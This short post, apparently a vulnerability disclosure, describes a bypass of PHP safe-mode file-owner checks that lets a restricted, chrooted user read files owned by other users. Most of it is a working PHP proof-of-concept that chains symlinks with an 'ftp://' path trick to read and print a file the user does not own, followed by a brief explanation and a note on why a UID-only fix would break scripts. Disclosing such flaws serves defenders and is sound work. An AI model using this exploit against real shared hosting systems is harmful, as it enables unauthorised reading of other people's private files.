Let's imagine restricted user, that has chrooted FTP and safe-mode PHP. Can this user read other user's files? Yes, he can:

<?php 
symlink(".","ww/ftp:");
chdir("ww");
symlink("ftp://../../secretfile.html","l");
$f=fopen("l","r");
fpassthru($f);
?>

gives contents of secret_file, even though it isn't user-owned. the "ftp://" part breaks owner check for symlink, and "l" is allowed since "ww" is owned by current user. 
Note, that removing directory-check and checking only by UID will break all config-saving scripts...